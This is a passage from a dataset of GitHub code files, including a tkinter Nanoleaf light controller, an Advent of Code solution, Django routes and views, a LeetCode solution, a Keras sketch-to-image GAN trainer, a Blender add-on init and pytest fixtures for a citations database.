width=900)\r\nroot.geometry(\"1000x600\")\r\nroot.title(\"Nanoleaf Light API\")\r\n\r\n\r\n\"\"\"\r\n========================================\r\nFunktionen\r\n========================================\r\n\"\"\"\r\n\r\nprint(nl.get_power())\r\n\r\n\r\ndef light_switch():\r\n if nl.get_power() == False:\r\n nl.power_on()\r\n print(\"Licht an\")\r\n else:\r\n nl.power_off()\r\n print(\"Licht aus\")\r\n\r\n\r\ndef orange():\r\n nl.set_color(ORANGE)\r\n print(\"Licht ist auf Orange eingestellt.\")\r\n\r\n\r\ndef rot():\r\n nl.set_color(RED)\r\n print(\"Licht ist auf Rot eingestellt.\")\r\n\r\n\r\ndef dark_orange():\r\n nl.set_color((255, 81, 35))\r\n\r\n\r\ndef yellow():\r\n nl.set_color(YELLOW)\r\n print(\"Licht ist auf Gelb eingestellt.\")\r\n\r\n\r\ndef light_retro():\r\n nl.set_effect(\"Retro\")\r\n\r\n\r\ndef sunset_dynamic():\r\n nl.set_effect(\"Sunset Dynamic\")\r\n\r\n\r\ndef Goldfox():\r\n nl.set_effect(\"Goldfox\")\r\n\r\n\r\ndef Be_Productive():\r\n nl.set_effect(\"Be Productive\")\r\n\r\n\r\ndef pluszehn():\r\n nl.increment_brightness(10)\r\n\r\n\r\ndef minuszehn():\r\n nl.increment_brightness(-10)\r\n\r\n\r\ndef plusvierzig():\r\n nl.increment_brightness(40)\r\n\r\n\r\ndef minusvierzig():\r\n nl.increment_brightness(-40)\r\n\r\n\r\n\"\"\"\r\n========================================\r\nHaupt und Unterseiten\r\n========================================\r\n\"\"\"\r\n\r\nwindow = tk.Frame(root, bg=\"#202020\")\r\nwindow.place(relheight=1, relwidth=1)\r\n\r\nmain = tk.Frame(window, bg=\"white\")\r\nmain.place(relheight=0.9, relwidth=0.95, relx=0.025, rely=0.05)\r\n\r\n\r\n\"\"\"\r\n========================================\r\nTitleleiste\r\n========================================\r\n\"\"\"\r\n\r\ntitle = tk.Frame(main)\r\ntitle.place(relheight=0.10, relwidth=0.95, relx=0.025, rely=0.075)\r\n\r\nswitch = tk.Button(title, text=\"On / Off\", command=light_switch,\r\n bg=\"#c4c4c4\", font=('aris', 12, 'bold'))\r\nswitch.place(relheight=1, relwidth=0.2, relx=0)\r\n\r\ntitletext = tk.Label(title, text=\"Nanoleaf API\",\r\n bg=\"#efefef\", font=('aris', 18, 'bold'))\r\ntitletext.place(relheight=1, relwidth=0.4, relx=0.3)\r\n\r\nschliessen = tk.Button(title, text=\"Exit\", command=root.destroy,\r\n bg=\"#c4c4c4\", font=('aris', 12, 'bold'))\r\nschliessen.place(relheight=1, relwidth=0.2, relx=0.8)\r\n\r\n\r\n\"\"\"\r\n========================================\r\nBox1\r\n========================================\r\n\"\"\"\r\n\r\nbox1 = tk.Frame(main, bg=\"#202020\")\r\nbox1.place(relheight=0.2, relwidth=0.95, relx=0.025, rely=0.225)\r\n\r\neffekte = tk.Label(box1, bg=\"#202020\", fg=\"#c4c4c4\",\r\n text=\"Effekte\", font=('aris', 15, 'bold'))\r\neffekte.place(relheight=0.35, relwidth=0.6, relx=0.2, rely=0.05)\r\n\r\nbox11 = tk.Frame(box1, bg=\"#202020\")\r\nbox11.place(relheight=0.5, relwidth=1, rely=0.5)\r\n\r\nbox1button1 = tk.Button(box11, bg=\"#c4c4c4\", command=light_retro,\r\n text=\"Retro\", font=('aris', 10, 'bold'))\r\nbox1button1.place(relheight=0.8, relwidth=0.24, relx=0.008)\r\n\r\nbox1button1 = tk.Button(box11, bg=\"#c4c4c4\", command=sunset_dynamic,\r\n text=\"Sunset Dynamic\", font=('aris', 10, 'bold'))\r\nbox1button1.place(relheight=0.8, relwidth=0.24, relx=0.256)\r\n\r\nbox1button1 = tk.Button(box11, bg=\"#c4c4c4\", command=Goldfox,\r\n text=\"Goldfox\", font=('aris', 10, 'bold'))\r\nbox1button1.place(relheight=0.8, relwidth=0.24, relx=0.504)\r\n\r\nbox1button1 = tk.Button(box11, bg=\"#c4c4c4\", command=Be_Productive,\r\n text=\"Be Productive\", font=('aris', 10, 'bold'))\r\nbox1button1.place(relheight=0.8, relwidth=0.24, relx=0.752)\r\n\"\"\"\r\n========================================\r\nBox2\r\n========================================\r\n\"\"\"\r\n\r\nbox2 = tk.Frame(main, bg=\"#202020\")\r\nbox2.place(relheight=0.2, relwidth=0.95, relx=0.025, rely=0.475)\r\n\r\nBrightnesse = tk.Label(box2, bg=\"#202020\", fg=\"#c4c4c4\",\r\n text=\"Brightnesse\", font=('aris', 15, 'bold'))\r\nBrightnesse.place(relheight=0.35, relwidth=0.6, relx=0.2, rely=0.05)\r\n\r\nbox21 = tk.Frame(box2, bg=\"#202020\")\r\nbox21.place(relheight=0.5, relwidth=1, rely=0.5)\r\n\r\nbox1button1 = tk.Button(box21, bg=\"#c4c4c4\", command=minusvierzig,\r\n text=\"-40%\", font=('aris', 10, 'bold'))\r\nbox1button1.place(relheight=0.8, relwidth=0.24, relx=0.008)\r\n\r\nbox1button1 = tk.Button(box21, bg=\"#c4c4c4\", command=minuszehn,\r\n text=\"-10%\", font=('aris', 10, 'bold'))\r\nbox1button1.place(relheight=0.8, relwidth=0.24, relx=0.256)\r\n\r\nbox1button1 = tk.Button(box21, bg=\"#c4c4c4\", command=pluszehn,\r\n text=\"+10%\", font=('aris', 10, 'bold'))\r\nbox1button1.place(relheight=0.8, relwidth=0.24, relx=0.504)\r\n\r\nbox1button1 = tk.Button(box21, bg=\"#c4c4c4\", command=plusvierzig,\r\n text=\"+40%\", font=('aris', 10, 'bold'))\r\nbox1button1.place(relheight=0.8, relwidth=0.24, relx=0.752)\r\n\r\n\"\"\"\r\n========================================\r\nBox3\r\n========================================\r\n\"\"\"\r\n\r\nbox3 = tk.Frame(main, bg=\"#202020\")\r\nbox3.place(relheight=0.2, relwidth=0.95, relx=0.025, rely=0.725)\r\n\r\nFarbe = tk.Label(box3, bg=\"#202020\", fg=\"#c4c4c4\",\r\n text=\"Farbe\", font=('aris', 15, 'bold'))\r\nFarbe.place(relheight=0.35, relwidth=0.6, relx=0.2, rely=0.05)\r\n\r\n\r\nbox31 = tk.Frame(box3, bg=\"#202020\")\r\nbox31.place(relheight=0.5, relwidth=1, rely=0.5)\r\n\r\nbox1button1 = tk.Button(box31, bg=\"#c4c4c4\", text=\"Gelb\", command=yellow,\r\n font=('aris', 10, 'bold'))\r\nbox1button1.place(relheight=0.8, relwidth=0.24, relx=0.008)\r\n\r\nbox1button1 = tk.Button(box31, bg=\"#c4c4c4\", text=\"Orange\", command=orange,\r\n font=('aris', 10, 'bold'))\r\nbox1button1.place(relheight=0.8, relwidth=0.24, relx=0.256)\r\n\r\nbox1button1 = tk.Button(box31, bg=\"#c4c4c4\", text=\"Dunkel-Orange\", command=dark_orange,\r\n font=('aris', 10, 'bold'))\r\nbox1button1.place(relheight=0.8, relwidth=0.24, relx=0.504)\r\n\r\nbox1button1 = tk.Button(box31, bg=\"#c4c4c4\", text=\"Rot\", command=rot,\r\n font=('aris', 10, 'bold'))\r\nbox1button1.place(relheight=0.8, relwidth=0.24, relx=0.752)\r\n\r\n\r\nroot.mainloop()\r\n","repo_name":"Severinboegli/Nanoleaf-Light-API","sub_path":"window.pyw","file_name":"window.pyw","file_ext":"pyw","file_size_in_byte":6435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9156849653","text":"# -*- coding: utf-8 -*-\n\n# AoC 2021 Day 1\n\nimport os\n\nos.chdir('C:/Users/Profil/Documents/adventofcode/2021/advent-of-code-2021/')\n#os.chdir('C:/Users/vrsom/Seafile/adventofcode')\n\n\n# open input\nf = open('input1.txt','r')\nlines = f.readlines()\n\ndata = list(map(int, lines)) \n\n\nsum_of_3 = []\nfor i in range(1,len(data)-1):\n sum_of_3.append(data[i-1] + data[i] + data[i+1])\n\ncnt = 0\nfor sumi in range(len(sum_of_3)-1): \n if sum_of_3[sumi] < sum_of_3[sumi+1]:\n cnt += 1\n \n \nprint(cnt)","repo_name":"verysummer/advent-of-code-2021","sub_path":"day1_2.py","file_name":"day1_2.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33472015202","text":"from django.urls import path\nfrom . import views\nimport Exam_module.views as exam_views\n\napp_name = 'teacher'\nurlpatterns = [\n # path('exam/', views.add_exam, name='add_exam'),\n path('exam/', views.AddExam.as_view(), name='add_exam'),\n path('exam//', exam_views.ExamDetail.as_view(), name='exam-details'),\n path('add_question/', views.add_question, name='add_question'),\n path('add_student/', views.add_student, name='add_student'),\n path('view_question/', views.view_question, name='view_question'),\n path('view_exam/', views.view_exam, name='view_exam'),\n path('view_exam//', views.view_exam_question, name='view_exam_question'),\n path('update_question//', views.update_question, name='update_question'),\n path('hod_add_exam/', exam_views.AddExam.as_view(), name='hod_add_exam'),\n path('view_question//delete', views.DeleteQuestion.as_view(), name='delete_question'),\n path('signup', views.Registration.as_view(), name='signup'),\n path('login', views.login_view, name='login'),\n path('logout/', views.logout_view, name='logout'),\n path('profile//', views.ProfileView.as_view(), name='profile'),\n path('profile//delete/', views.DeleteFacultyProfile.as_view(), name='delete-profile'),\n path('activate//', views.activate, name='profile-activate'),\n path('dashboard//', views.FacultyDashboard.as_view(), name='dashboard'),\n path('ajax-query', views.ajax_query, name='ajax-query')\n]\n'''\n< td >\n< button\n\nclass =\"btn btn-sm btn-danger mb-1\" style=\"width: 60px\"\n\n\nonclick = \"DeleteConfirmation('{% url 'teacher:delete-profile' teacher.user_id %}?next={{ request.path|urlencode }}')\" >\ndelete\n< / button >\n< button\n\n\nclass =\"btn btn-sm btn-warning mb-1\" style=\"width: 60px\"\n\n\nonclick = \"window.location.href='{% url 'teacher:profile' teacher.user_id %}'\" >\nview\n< / button >\n< / td >\n'''\n","repo_name":"Sonali-Learntoshine/Examination-System","sub_path":"Userprofile/Teacher/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1906,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"20732358128","text":"from django.test import LiveServerTestCase, tag, override_settings\nfrom django.conf import settings\nfrom dz import models\nfrom . import base\n\n\n@tag('liveserver')\n@override_settings(TESTING=True)\nclass DzLiveServerTest(base.BaseDzTestsMixin, LiveServerTestCase):\n # suspend schedule logging while fixtures are loaded\n @models.Schedule.suspend_logging\n def _fixture_setup(self):\n super(DzLiveServerTest, self)._fixture_setup()\n\n @models.Schedule.suspend_logging\n def test_liveserver(self):\n if settings.TEST_LIVESERVER:\n # use newline to force prompt printing in honcho\n raw_input('Hit Enter to end liveserver...\\n')\n","repo_name":"ivandeex/dzbag","sub_path":"dz/tests/test_liveserver.py","file_name":"test_liveserver.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24936155558","text":"# 14. Add Two Numbers\n#\n# Description:\n#\n# Write a function to find the longest common prefix string amongst an array of\n# strings.\n#\n# If there is no common prefix, return an empty string \"\".\n#\n# Example:\n# Input: [\"flower\",\"flow\",\"flight\"]\n# Output: \"fl\"\n#\n# Input: [\"dog\",\"racecar\",\"car\"]\n# Output: \"\"\n# Explanation: There is no common prefix among the input strings.\n#\n# Note:\n# All given inputs are in lowercase letters a-z.\nimport os\nfrom typing import List\n\n\nclass Solution(object):\n def longestCommonPrefix(self, strs: List[str]) -> str:\n if not strs:\n return \"\"\n\n return os.path.commonprefix(strs)\n\n\ndef sol_1():\n sol_input = [\"flower\", \"flow\", \"flight\"]\n expect_output = \"fl\"\n sol_output = Solution().longestCommonPrefix(sol_input)\n\n print(f'Your input:\\t{sol_input}')\n print(f'Output: \\t{sol_output}')\n print(f'Expected: \\t{expect_output}')\n\n assert sol_output == expect_output\n\n\ndef sol_2():\n sol_input = [\"dog\", \"racecar\", \"car\"]\n expect_output = \"\"\n sol_output = Solution().longestCommonPrefix(sol_input)\n\n print(f'Your input:\\t{sol_input}')\n print(f'Output: \\t{sol_output}')\n print(f'Expected: \\t{expect_output}')\n\n assert sol_output == expect_output\n\n\ndef main():\n sol_1()\n sol_2()\n\n\nmain()\n","repo_name":"Acowboyz/leetcode-python","sub_path":"leetcode-algorithms/0014. Longest Common Prefix/longest_common_prefix.py","file_name":"longest_common_prefix.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15873685501","text":"from keras.models import load_model\r\nfrom loss import total_loss\r\n\r\nfrom keras_contrib.layers.normalization.instancenormalization import InstanceNormalization\r\nfrom keras.layers import Input, Dense, Reshape, Flatten, Dropout, Concatenate, BatchNormalization, Activation, ZeroPadding2D\r\nfrom keras.layers.advanced_activations import LeakyReLU\r\nfrom keras.layers.convolutional import UpSampling2D, Conv2D\r\nfrom keras.models import Sequential, Model\r\nfrom keras.optimizers import Adam\r\n\r\nfrom keras.preprocessing.image import img_to_array\r\nfrom keras.preprocessing.image import load_img\r\n\r\nfrom sklearn.utils import shuffle\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport datetime\r\nimport natsort\r\nimport scipy\r\nimport sys\r\nimport os\r\nimport cv2\r\n\r\n\r\n################################### Specifing GPU to use #####################################\r\nos.environ['CUDA_VISIBLE_DEVICES'] = \"0\"\r\n\r\n####################################### Helper Function #######################################\r\ndef load_filename(path):\r\n dirFiles = os.listdir(path)\r\n for i, file in enumerate(dirFiles):\r\n dirFiles[i] = path + file\r\n return natsort.natsorted(dirFiles ,reverse=False)\r\n\r\n# load all images in a directory into memory\r\ndef load_images(list_path, size=(256, 256)):\r\n img_list = list()\r\n # enumerate filenames in directory, assume all are images\r\n for filename in list_path:\r\n # load and resize the image\r\n pixels = load_img(filename, target_size=size)\r\n # convert to numpy array\r\n pixels = img_to_array(pixels)\r\n pixels = (pixels - 127.5) / 127.5\r\n img_list.append(pixels)\r\n return np.asarray(img_list)\r\n\r\n# select a batch of random samples, returns images and target\r\ndef generate_real_samples(dataset, n_samples, patch_shape):\r\n # unpack dataset\r\n trainA, trainB = dataset\r\n\r\n # choose random instances\r\n ix = np.random.randint(0, trainA.shape[0], n_samples)\r\n \r\n # retrieve selected images\r\n X1, X2 = trainA[ix], trainB[ix]\r\n \r\n # generate 'real' class labels (1)\r\n y = np.ones((n_samples, patch_shape, patch_shape, 1))\r\n \r\n return [X1, X2], y\r\n\r\n# generate a batch of images, returns images and targets\r\ndef generate_fake_samples(g_model, samples, patch_shape):\r\n # generate fake instance\r\n X = g_model.predict(samples)\r\n \r\n # create 'fake' class labels (0)\r\n y = np.zeros((len(X), patch_shape, patch_shape, 1))\r\n \r\n return X, y\r\n\r\n# generate samples and save as a plot and save the model\r\ndef summarize_performance(step, g_model, d_model, dataset, target_dir='', n_samples=3):\r\n if target_dir and not os.path.exists(target_dir):\r\n os.mkdir(target_dir)\r\n # select a sample of input images\r\n [X_realA, X_realB], _ = generate_real_samples(dataset, n_samples, 1)\r\n # generate a batch of fake samples\r\n X_fakeB, _ = generate_fake_samples(g_model, X_realA, 1)\r\n # scale all pixels from [-1,1] to [0,1]\r\n X_realA = (X_realA + 1) / 2.0\r\n X_realB = (X_realB + 1) / 2.0\r\n X_fakeB = (X_fakeB + 1) / 2.0\r\n # plot real source images\r\n for i in range(n_samples):\r\n plt.subplot(3, n_samples, 1 + i)\r\n plt.axis('off')\r\n plt.imshow(X_realA[i])\r\n # plot generated target image\r\n for i in range(n_samples):\r\n plt.subplot(3, n_samples, 1 + n_samples + i)\r\n plt.axis('off')\r\n plt.imshow(X_fakeB[i])\r\n # plot real target image\r\n for i in range(n_samples):\r\n plt.subplot(3, n_samples, 1 + n_samples*2 + i)\r\n plt.axis('off')\r\n plt.imshow(X_realB[i])\r\n # save plot to file\r\n filename1 = 'plot_%06d.png' % (step+1)\r\n plt.savefig(target_dir + filename1)\r\n plt.close()\r\n # save the generator model\r\n g_model.save(target_dir + 'g_model.h5')\r\n \r\n # save the discriminator model\r\n d_model.save(target_dir + 'd_model.h5')\r\n \r\n print('>Saved: %s and %s' % (filename1, 'g_model & d_model'))\r\n\r\n######################################### Generator ###################################\r\ndef generator(img_shape):\r\n def conv2d(layer_in, n_filter, norm=True):\r\n d = Conv2D(n_filter, kernel_size=4, strides=2, padding='same')(layer_in)\r\n d = LeakyReLU(0.2)(d)\r\n if norm:\r\n d = InstanceNormalization()(d)\r\n return d\r\n \r\n def deconv2d(layer_in, skip_in, n_filter, dropout=0.05):\r\n d = UpSampling2D(size=2)(layer_in)\r\n d = Conv2D(n_filter, kernel_size=4, strides=1, padding='same', activation='relu')(d)\r\n if dropout:\r\n d = Dropout(dropout)(d)\r\n d = InstanceNormalization()(d)\r\n d = Concatenate()([d, skip_in])\r\n return d\r\n \r\n # Input Layer\r\n in_img = Input(shape=img_shape)\r\n \r\n # Downsampling\r\n d1 = conv2d(in_img, 64, norm=False)\r\n d2 = conv2d(d1, 128)\r\n d3 = conv2d(d2, 256)\r\n d4 = conv2d(d3, 512)\r\n d5 = conv2d(d4, 512)\r\n d6 = conv2d(d5, 512)\r\n d7 = conv2d(d6, 512)\r\n \r\n # Upsampling\r\n u1 = deconv2d(d7, d6, 512)\r\n u2 = deconv2d(u1, d5, 512)\r\n u3 = deconv2d(u2, d4, 512)\r\n u4 = deconv2d(u3, d3, 256, dropout=0)\r\n u5 = deconv2d(u4, d2, 128, dropout=0)\r\n u6 = deconv2d(u5, d1, 64, dropout=0)\r\n u7 = UpSampling2D(size=2)(u6)\r\n \r\n out_img = Conv2D(3, kernel_size=4, strides=1, padding='same', activation='tanh')(u7)\r\n \r\n return Model(in_img, out_img, name='generator')\r\n\r\n######################################### Discriminator ###########################################\r\ndef discriminator(img_shape):\r\n def d_layer(layer_in, n_filter, norm=True):\r\n d = Conv2D(n_filter, kernel_size=4, strides=2, padding='same')(layer_in)\r\n d = LeakyReLU(0.2)(d)\r\n if norm:\r\n d = InstanceNormalization()(d)\r\n return d\r\n \r\n in_src_img = Input(shape=img_shape)\r\n in_target_img = Input(shape=img_shape)\r\n \r\n merged = Concatenate()([in_src_img, in_target_img])\r\n \r\n d1 = d_layer(merged, 64, norm=False)\r\n d2 = d_layer(d1, 128)\r\n d3 = d_layer(d2, 256)\r\n d4 = d_layer(d3, 512)\r\n\r\n out = Conv2D(1, kernel_size=4, strides=1, padding='same')(d4)\r\n \r\n return Model([in_src_img, in_target_img], out, name='discriminator')\r\n\r\n######################################### GAN ####################################################\r\ndef GAN(g_model, d_model, img_shape):\r\n d_model.trainable = False\r\n in_img = Input(shape=img_shape)\r\n gen_out = g_model(in_img)\r\n dis_out = d_model([in_img, gen_out])\r\n model = Model(in_img, [dis_out, gen_out], name='GAN')\r\n return model\r\n\r\n######################################## Training GAN ############################################\r\ndef train(d_model, g_model, gan_model, data, target_dir, n_epochs=10, n_batch=16):\r\n # determine the output square shape of the discriminator\r\n n_patch = d_model.output_shape[1]\r\n \r\n blue_photo = data[0]\r\n blue_sketch = data[1]\r\n \r\n for i in range(n_epochs):\r\n print(' ========== Epoch', i+1, '========== ')\r\n \r\n blue_photo, blue_sketch = shuffle(blue_photo, blue_sketch)\r\n\r\n for j in range(int(len(blue_photo)/n_batch)):\r\n \r\n start = int(j*n_batch)\r\n end = int(min(len(blue_photo), (j*n_batch)+n_batch))\r\n \r\n dataset = [load_images(blue_photo[start:end]), load_images(blue_sketch[start:end])]\r\n\r\n # select a batch of real samples\r\n [X_realA, X_realB], y_real = generate_real_samples(dataset, n_batch, n_patch)\r\n \r\n # generate a batch of fake samples\r\n X_fakeB, y_fake = generate_fake_samples(g_model, X_realA, n_patch)\r\n \r\n # update discriminator for real samples\r\n d_loss1 = d_model.train_on_batch([X_realA, X_realB], y_real)\r\n \r\n # update discriminator for generated samples\r\n d_loss2 = d_model.train_on_batch([X_realA, X_fakeB], y_fake)\r\n \r\n d_loss = 0.5 * np.add(d_loss1, d_loss2)\r\n \r\n # update the generator\r\n g_loss, _, _ = gan_model.train_on_batch(X_realA, [y_real, X_realB])\r\n \r\n # summarize performance\r\n print('Batch : %d, D Loss : %.3f | G Loss : %.3f' % (j+1, d_loss, g_loss))\r\n \r\n # summarize model performance\r\n# if (i+1) % 10 == 0:\r\n summarize_performance(i, g_model, d_model, dataset, target_dir)\r\n\r\n########################### Loading Dataset ####################################\r\nb_photo_path = 'Dataset/augmented_image/'\r\nb_sketch_path = 'Dataset/augmented_sketch/'\r\n\r\nblue_photo = load_filename(b_photo_path)\r\nblue_sketch = load_filename(b_sketch_path)\r\n\r\nplt.imshow(cv2.cvtColor(cv2.imread(blue_photo[1102]).astype('uint8'), cv2.COLOR_BGR2RGB))\r\nplt.imshow(cv2.cvtColor(cv2.imread(blue_sketch[1102]).astype('uint8'), cv2.COLOR_BGR2RGB))\r\n\r\n########################### Define GAN Model ###################################\r\nimg_shape = (256, 256, 3)\r\nd_model = discriminator(img_shape)\r\ng_model = generator(img_shape)\r\ngan_model = GAN(g_model, d_model, img_shape)\r\n\r\nprint(gan_model.summary())\r\n\r\n####################### Paused Intermediate models ############################\r\nd_model = load_model('Models/9/9_d_model.h5',custom_objects={'InstanceNormalization':InstanceNormalization})\r\ng_model = load_model('Models/9/9_g_model.h5',custom_objects={'InstanceNormalization':InstanceNormalization})\r\nd_model.trainable = False\r\ngan_model = GAN(g_model, d_model, img_shape)\r\n\r\nprint(gan_model.summary())\r\n\r\nopt = Adam(lr=0.000005, beta_1=0.05)\r\n\r\nd_model.compile(loss='binary_crossentropy', optimizer=opt, loss_weights=[0.5])\r\ngan_model.compile(loss=['binary_crossentropy', total_loss], optimizer=opt, loss_weights=[1,100])\r\n\r\ntrain(d_model, g_model, gan_model, [blue_sketch, blue_photo], 'Models/{epoch:02d}', n_epochs = 10, n_batch=16)\r\n","repo_name":"ParthTiwari02/Sketch-to-Image","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26949765884","text":"\"\"\"Views for the Profile app.\"\"\"\nfrom django.contrib.auth.decorators import login_required\nfrom django.shortcuts import render, redirect\nfrom django.urls import reverse_lazy\n\nfrom my_profile.models import NMHWProfile\nfrom my_profile.forms import EditProfileForm\nfrom my_profile.serializers import EventSerializer\n\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\n\nfrom datetime import datetime\nimport os\nimport requests\n\n# Create your views here.\n\nAPI_KEY = os.environ.get('GITHUB_API_TOKEN', '')\nFMT = '%Y-%m-%dT%H:%M:%SZ'\nHEADERS = {'Authorization': 'token {}'.format(API_KEY)}\n\n\ndef profile_detail(request):\n \"\"\"Show the detail for a single user profile.\"\"\"\n profile = NMHWProfile.objects.get(user__username=\"nhuntwalker\")\n return render(request, \"my_profile/about.html\", {\"profile\": profile})\n\n\n@login_required(login_url=reverse_lazy(\"login\"))\ndef profile_edit(request):\n \"\"\"Edit a single user profile.\"\"\"\n profile = NMHWProfile.objects.get(user__username=\"nhuntwalker\")\n form = EditProfileForm(instance=profile)\n if request.POST and request.method == \"POST\":\n new_form = EditProfileForm(request.POST, instance=profile)\n new_form.save()\n return redirect('profile')\n return render(request, \"my_profile/profile_edit_form.html\", {\"form\": form})\n\n\n@api_view(['GET'])\ndef get_github_repos(request):\n \"\"\"Retrieve repositories from Github and return JSON.\"\"\"\n api_url = 'https://api.github.com/users/nhuntwalker/events'\n api_url += '?q=\"\"&per_page=100'\n events = get_github_info(api_url, HEADERS)\n repo_list = process_github_events(events, HEADERS)\n serializer = EventSerializer(repo_list, many=True)\n return Response(serializer.data)\n\n\ndef get_github_info(url, headers=None):\n \"\"\"Given a repo URL, get info from GitHub as JSON.\"\"\"\n resp = requests.get(url, headers=headers)\n return resp.json()\n\n\ndef process_github_events(data, headers=None):\n \"\"\"Given some JSON from github, process and return repos.\"\"\"\n repo_names = []\n whitelist = [\"nhuntwalker\", \"rwieruch\", \"StayWokeOrg\", \"bytes-seattle\"]\n repo_list = []\n idx = 0\n while len(repo_names) < 5 and idx < len(data):\n event = data[idx]\n if event[\"repo\"][\"name\"] not in repo_names and event['public'] and event[\"repo\"][\"name\"].split(\"/\")[0] in whitelist:\n new_data = {}\n name = event[\"repo\"][\"name\"]\n url = event[\"repo\"][\"url\"]\n repo_names.append(name)\n info = get_github_info(url, headers)\n event_date = event[\"created_at\"]\n creation_date = info[\"created_at\"]\n\n new_data[\"name\"] = name\n new_data[\"description\"] = info[\"description\"]\n new_data[\"repo_url\"] = info[\"html_url\"]\n new_data[\"updated_at\"] = datetime.strptime(event_date, FMT)\n new_data[\"created_at\"] = datetime.strptime(creation_date, FMT)\n new_data[\"stargazers_count\"] = info[\"stargazers_count\"]\n new_data[\"watchers_count\"] = info[\"watchers_count\"]\n new_data[\"forks\"] = info[\"forks\"]\n new_data[\"open_issues\"] = info[\"open_issues\"]\n new_data[\"language\"] = info[\"language\"]\n repo_list.append(new_data)\n idx += 1\n return repo_list\n","repo_name":"nhuntwalker/rational_whimsy","sub_path":"rational_whimsy/my_profile/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38779180857","text":"# Nikita Akimov\n# interplanety@interplanety.org\n#\n# GitHub\n# https://github.com/Korchy/blender_roader\n\nfrom . import roader_ops\nfrom . import roader_panel\nfrom . import roader_preferences\nfrom . import roader_params\nfrom .addon import Addon\n\nbl_info = {\n 'name': 'Roader',\n 'category': 'All',\n 'author': 'Nikita Akimov',\n 'version': (1, 0, 0),\n 'blender': (2, 82, 0),\n 'location': 'N-Panel > Roader',\n 'wiki_url': 'https://b3d.interplanety.org/en/blender-add-on-roader/',\n 'tracker_url': 'https://b3d.interplanety.org/en/blender-add-on-roader',\n 'description': 'Easy making roads'\n}\n\n\ndef register():\n if not Addon.dev_mode():\n roader_params.register()\n roader_ops.register()\n roader_panel.register()\n roader_preferences.register()\n else:\n print('It seems you are trying to use the dev version of the ' + bl_info['name'] + ' add-on. It may work not properly. Please download and use the release version!')\n\n\ndef unregister():\n if not Addon.dev_mode():\n roader_preferences.unregister()\n roader_panel.unregister()\n roader_ops.unregister()\n roader_params.unregister()\n\n\nif __name__ == '__main__':\n register()\n","repo_name":"Korchy/blender_roader","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1210,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"2478569665","text":"import pytest\n\nimport database.connection\nfrom database.models.author import Author\nfrom database.models.paper import Paper\nfrom database.models.venue import Venue\nfrom database.operations import Operations\n\n\n@pytest.fixture\ndef db():\n database.connection.disconnect_database('citations')\n database.connection.client, database.connection.citations_db = \\\n database.connection.new_connection(db_name='citations_test', alias='citations')\n\n\n@pytest.fixture\ndef operations(db):\n operations = Operations(database.connection.citations_db)\n operations.paper.flush()\n operations.author.flush()\n operations.venue.flush()\n return operations\n\n\n@pytest.fixture\ndef venue_operations(operations):\n venue_operations = operations.venue\n return venue_operations\n\n\n@pytest.fixture\ndef author_operations(operations):\n author_operations = operations.author\n return author_operations\n\n\n@pytest.fixture\ndef paper_operations(operations):\n paper_operations = operations.paper\n return paper_operations\n\n\n@pytest.fixture\ndef some_authors_data(author_operations):\n a1 = author_operations.create(Author(_id='q', name='gtrgdtg',\n org='grtgrt'))\n # a1: papers=['pid4']\n a2 = author_operations.create(Author(_id='q2', name='gtrgdtg',\n org='xa',\n gid='sdaf', oid='123'))\n # a2: papers=['pid3']\n a3 = author_operations.create(Author(_id='q22', name='gtrgdtg',\n org='grtgrt', oid='123'))\n # a3: papers=[]\n a4 = author_operations.create(Author(_id='222', name='gg',\n org='wer',\n gid='sdaf', oid='32'))\n # a4: papers=['pid1', 'pid2', 'pid3', 'pid4', 'pid5']\n return a1, a2, a3, a4\n\n\n@pytest.fixture\ndef some_papers_data(paper_operations):\n # данные о статьях для тестирования h-index\n p1 = paper_operations.create(Paper(_id='pid1', title='title1',\n n_citation=3,\n authors=['222', 'q']))\n p2 = paper_operations.create(Paper(_id='pid2', title='title2',\n year=1960,\n authors=['222']))\n p3 = paper_operations.create(Paper(_id='pid3', title='title3',\n n_citation=6,\n authors=['222', 'q2']))\n p4 = paper_operations.create(Paper(_id='pid4', title='title4',\n year=1952, n_citation=1,\n authors=['222']))\n p5 = paper_operations.create(Paper(_id='pid5', title='title5',\n year=1982, n_citation=5,\n authors=['222']))\n return p1, p2, p3, p4, p5\n\n\n@pytest.fixture\ndef some_data(paper_operations):\n p1 = paper_operations.create(Paper(_id='q', title='gtrgdtg', abstract='grtgrt',\n n_citation=1,\n authors=['a-id1', 'a-id2']))\n p2 = paper_operations.create(Paper(_id='q2', title='gtrgdtg', abstract='xa',\n year=2002, venue='123', n_citation=2,\n authors=['a-id1']))\n p3 = paper_operations.create(Paper(_id='q22', title='gtrgdtg', abstract='grtgrt kjfwe ewr',\n venue='123',\n authors=['a-id2']))\n p4 = paper_operations.create(Paper(_id='222', title='gg', abstract='wer',\n year=2002, venue='32', n_citation=None,\n authors=[]))\n return p1, p2, p3, p4\n\n\n@pytest.fixture\ndef some_venue_data(venue_operations):\n v1 = venue_operations.create(Venue(_id='q', name_d='gtrgdtg', raw='grtgrt'))\n v2 = venue_operations.create(Venue(_id='q2', name_d='gtrgdtg', raw='xa', type=123))\n v3 = venue_operations.create(Venue(_id='q22', name_d='gtrgdtg', raw='grtgrt kjfwe ewr', type=123))\n v4 = venue_operations.create(Venue(_id='222', name_d='gg', raw='wer', 